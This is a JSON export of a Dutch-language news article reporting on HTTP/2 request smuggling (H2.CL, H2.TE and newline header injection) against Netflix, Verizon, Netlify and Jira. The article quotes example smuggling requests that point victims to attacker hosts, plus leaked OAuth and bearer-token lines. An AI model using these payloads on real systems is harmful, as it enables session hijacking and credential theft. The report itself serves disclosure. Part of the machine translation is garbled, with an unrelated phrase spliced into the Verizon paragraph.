{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Een nieuwe aanval op frontend-backend systemen die het mogelijk maakt om in verzoeken binnen te dringen.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Websystemen waarbij de frontend verbindingen maakt via HTTP\/2 en deze doorgeeft aan de backend via HTTP\/1.1, zijn kwetsbaar voor een nieuwe variant van de aanval 'HTTP Request Smuggling'. Deze aanval stelt aanvallers in staat om via speciaal opgemaakte klantverzoeken in de inhoud van verzoeken van andere gebruikers te infiltreren, die in dezelfde stroom tussen de frontend en backend worden verwerkt. De aanval kan worden gebruikt om kwaadaardige JavaScript-code in een sessie met een legitieme website in te voegen, toegangsbeperkingen te omzeilen en authenticatieparameters te onderscheppen. <\/p>\n

De probleemgevoelige componenten zijn webproxy's, load balancers, webaccelerators, content delivery networks en andere configuraties waarbij verzoeken worden doorgestuurd via een frontend-backend schema. De auteur van het onderzoek demonstreerde de mogelijkheid van de aanval op systemen van Netflix, Verizon, Bitbucket, Netlify CDN en Atlassian, en ontving 56 duizend dollar in beloningsprogramma's voor het opsporen van kwetsbaarheden. De aanwezigheid van het probleem is ook bevestigd in producten van F5 Networks. Een deel van het probleem heeft invloed op mod_proxy in de Apache HTTP-server (CVE-2021-33193), waarbij de fix wordt verwacht in versie 2.4.49 (de ontwikkelaars werden begin mei ge\u00efnformeerd over het probleem en kregen 3 maanden om het op te lossen). In nginx is het gelijktijdig opgeven van de headers 'Content-Length' en 'Transfer-Encoding' geblokkeerd in de laatste release (1.21.1). De middelen om aanvallen uit te voeren zijn inmiddels toegevoegd aan de Burp-toolset en zijn beschikbaar in de vorm van de Turbo Intruder-extensie. <\/p>\n

Het principe van de nieuwe methode om verzoeken in het verkeer te infiltreren is vergelijkbaar met de kwetsbaarheid die door dezelfde onderzoeker twee jaar geleden werd ontdekt, maar beperkt tot frontends die verzoeken via HTTP\/1.1 accepteren. Ter herinnering: in het frontend-backend schema ontvangt een extra knooppunt \u2013 de frontend \u2013 de verzoeken van klanten en vestigt het een langdurige TCP-verbinding met de backend die de verzoeken rechtstreeks verwerkt. Via deze gemeenschappelijke verbinding worden doorgaans verzoeken van verschillende gebruikers doorgegeven, die achtereenvolgens worden behandeld en gescheiden door de middelen van het HTTP-protocol. <\/p>\n

Een klassieke aanval genaamd \u2018HTTP Request Smuggling\u2019 is gebaseerd op het feit dat frontend- en backend-systemen het gebruik van de HTTP-header \u2018Content-Length\u2019 (bepaalt de totale grootte van de gegevens in de aanvraag) en \u2018Transfer-Encoding: chunked\u2019 (maakt het mogelijk om gegevens in delen te verzenden) verschillend interpreteren. Als de frontend bijvoorbeeld alleen \u2018Content-Length\u2019 ondersteunt, maar \u2018Transfer-Encoding: chunked\u2019 negeert, kan een aanvaller een aanvraag verzenden waarin zowel de headers \u2018Content-Length\u2019 als \u2018Transfer-Encoding: chunked\u2019 zijn opgenomen, maar de waarde in \u2018Content-Length\u2019 komt niet overeen met de grootte van de chunked-keten. In dit geval zal de frontend de aanvraag verwerken en doorsturen op basis van \u2018Content-Length\u2019, terwijl de backend zal wachten op de voltooiing van het blok op basis van \u2018Transfer-Encoding: chunked\u2019, en de resterende staart van de aanvraag van de aanvaller zal aan het begin van een ander verzoek terechtkomen dat daarna werd verzonden. <\/p>\n

In tegenstelling tot het tekstuele protocol HTTP\/1.1, waarvan de parsing op het niveau van regels plaatsvindt, is HTTP\/2 een binair protocol dat werkt met blokken van vooraf bepaalde grootte. In HTTP\/2 worden pseudo-headers gebruikt die overeenkomen met de gewone HTTP-headers. Bij interactie met de backend via het protocol HTTP\/1.1 vertaalt de frontend deze pseudo-headers naar de overeenkomstige HTTP-headers van HTTP\/1.1. Het probleem is dat de backend al besluit over de parsing van de stroom op basis van de HTTP-headers die door de frontend zijn ingesteld, zonder informatie over de parameters van het oorspronkelijke verzoek. <\/p>\n

Inclusief in de vorm van pseudo-headers kunnen de waarden \u2018content-length\u2019 en \u2018transfer-encoding\u2019 worden doorgegeven, ondanks dat ze in HTTP\/2 niet worden gebruikt, aangezien de grootte van alle gegevens in een apart veld wordt bepaald. Echter, tijdens de conversie van een HTTP\/2-aanvraag naar HTTP\/1.1 worden deze headers overgedragen en kunnen ze de backend misleiden. Er zijn twee hoofdmogelijke aanvallen: H2.TE en H2.CL, waarbij de backend wordt misleid door een onjuiste waarde voor transfer-encoding of content-length, die niet overeenkomt met de werkelijke grootte van het verzoek lichaam dat naar de frontend is gestuurd via het HTTP\/2-protocol.

\"Een<\/center> <\/p>\n

Als voorbeeld van een H2.CL-aanval wordt een onjuiste grootte in de pseudo-header content-length aangeduid bij het verzenden van een HTTP\/2-verzoek naar Netflix. Dit verzoek leidt tot het toevoegen van een soortgelijke HTTP-header Content-Length bij het aanspreken van de backend via HTTP\/1.1, maar omdat de grootte in Content-Length lager is aangegeven dan feitelijk, worden delen van de data aan het einde als het begin van een volgend verzoek behandeld. <\/p>\n

Bijvoorbeeld, het HTTP\/2-verzoek: :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Leidt tot het versturen van een verzoek naar de backend: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Aangezien Content-Length de waarde 4 heeft, zal de backend alleen \u2018abcd\u2019 beschouwen als het verzoek lichaam, terwijl de rest \u2018GET \/n HTTP\/1.1\u2026\u2019 wordt behandeld als het begin van een volgend verzoek, dat aan een andere gebruiker is gekoppeld. Dit zal leiden tot een desynchronisatie van de stroom, en als reactie op het volgende verzoek zal het resultaat van de verwerking van het vervangende verzoek worden gegeven. In het geval van Netflix leidde het opgeven van een externe host in de header \u2018Host:\u2019 in het vervangende verzoek tot het teruggeven van een reactie aan de klant \u2018Location: https:\/\/02.rs?x.netflix.com\/n\u2019 en stelde het de klant in staat om willekeurige inhoud over te dragen, inclusief het uitvoeren van eigen JavaScript-code in de context van de Netflix-website. <\/p>\n

De tweede aanvalsmethode (H2.TE) hangt samen met het invoegen van de header «Transfer-Encoding: chunked». Het gebruik van de pseudo-header transfer-encoding is in HTTP\/2 verboden volgens de specificatie, en verzoeken hiermee moeten als ongeldig worden beschouwd. Desondanks negeren sommige front-end implementaties deze vereiste en staan ze het gebruik van de pseudo-header transfer-encoding in HTTP\/2 toe, die wordt omgezet naar een vergelijkbare HTTP-header. Wanneer de header «Transfer-Encoding» aanwezig is, kan de back-end deze als prioritair beschouwen en de data in delen verwerken in de «chunked» modus met blokken van verschillende grootte in het formaat «{grootte}\r\n{blok}\r\n{grootte}\r\n{blok}\r\n0», ondanks de oorspronkelijke scheiding op basis van de totale grootte. <\/p>\n

Een dergelijke kwetsbaarheid werd gedemonstreerd aan de hand van het voorbeeld van Verizon. Het probleem had betrekking op het authenticatieportaal en en biedt u meer tools voor het cre\u00ebren van aangepaste websites en rijke webapplicaties.<\/a>, dat ook wordt gebruikt op websites zoals Huffington Post en Engadget. Bijvoorbeeld, het verzoek van de cli\u00ebnt via HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Voerde tot de overdracht van een HTTP\/1.1-verzoek naar de backend: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

De back-end negeerde op zijn beurt de header «Content-Length» en voerde segmentatie in de stroom uit op basis van «Transfer-Encoding: chunked». In de praktijk stelde de aanval in staat het verzoek van gebruikers naar zijn site om te leiden, inclusief het onderscheppen van verzoeken gerelateerd aan OAuth-authenticatie, waarvan de parameters zichtbaar waren in de Referer-header, en het simuleren van een authenticatiesessie, waarbij het systeem van de gebruiker dwong om inloggegevens naar de host van de aanvaller te verzenden. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?…&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik… <\/p>\n

Voor de aanval op HTTP\/2-implementaties die het opgeven van de pseudo-header transfer-encoding niet toestaan, werd er nog een methode voorgesteld, die samenhangt met het invoegen van de header «Transfer-Encoding» door deze aan andere pseudo-headers toe te voegen, gescheiden door een nieuwe regel (bij conversie naar HTTP\/1.1 in een dergelijk geval worden er twee aparte HTTP-headers gemaakt). <\/p>\n

Bijvoorbeeld, de genoemde probleem was aanwezig bij Atlassian Jira en Netlify CDN (gebruikt voor het leveren van de startpagina van Mozilla in Firefox). In het bijzonder, het HTTP\/2-verzoek :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

leidde tot het verzenden van een verzoek van de back-end HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Een andere manier om de header «Transfer-Encoding» te gebruiken, was door deze te koppelen aan de naam van een andere pseudo-header of aan een regel met de requestmethode. Bijvoorbeeld, bij een verzoek aan Atlassian Jira resulteerde de pseudo-header «foo: bar\r\ntransfer-encoding» met de waarde «chunked» in de toevoeging van de HTTP-headers «foo: bar» en «transfer-encoding: chunked», terwijl de vermelding in de pseudo-header «:method»\twaarde «GET \\\/ HTTP\\\/1.1\r\nTransfer-encoding: chunked» werd omgezet in «GET \\\/ HTTP\\\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

De onderzoeker die het probleem ontdekte, stelde ook een techniek voor tunneling van verzoeken voor om een aanval uit te voeren op front-ends waarin voor elke IP-adressen<\/a> er wordt een aparte verbinding met de backend tot stand gebracht en het verkeer van verschillende gebruikers wordt niet gemengd. De voorgestelde techniek staat niet toe dat aanvragen van andere gebruikers worden ge\u00efnfiltreerd, maar biedt de mogelijkheid om de algemene cache te vervuilen, wat invloed heeft op de verwerking van andere aanvragen, en stelt de uitvoering van het vervangingsmechanisme van interne HTTP-headers in staat, die worden gebruikt voor het verzenden van service-informatie van de frontend naar de backend (bijvoorbeeld, bij authenticatie aan de frontend kunnen in deze headers informatie over de huidige gebruiker aan de backend worden doorgegeven). Als voorbeeld van de toepassing van de methode in de praktijk werd controle over pagina's in de dienst Bitbucket verkregen door middel van cache-vuiling.
\n
Bron: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nieuwe aanval op frontend-backend systemen, die het mogelijk maakt om in aanvragen te infiltreren | ProHoster","description":"Websystemen waarin de frontend verbindingen accepteert via HTTP\/2 en deze doorgeeft aan de backend via HTTP\/1.1, zijn kwetsbaar voor een nieuwe variant van de aanval \"HTTP Request Smuggling\", die mogelijk is door speciaal vormgegeven aanvragen te verzenden.","canonical_url":"https:\/\/prohoster.info\/nl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"nl_NL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/nl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}